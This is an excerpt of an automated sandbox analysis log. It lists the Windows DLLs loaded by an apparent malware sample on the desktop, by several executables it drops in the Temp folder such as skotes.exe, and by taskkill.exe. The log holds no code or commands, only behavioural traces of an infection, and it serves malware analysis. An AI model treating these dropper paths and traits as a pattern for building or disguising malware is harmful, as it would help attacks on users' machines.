Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
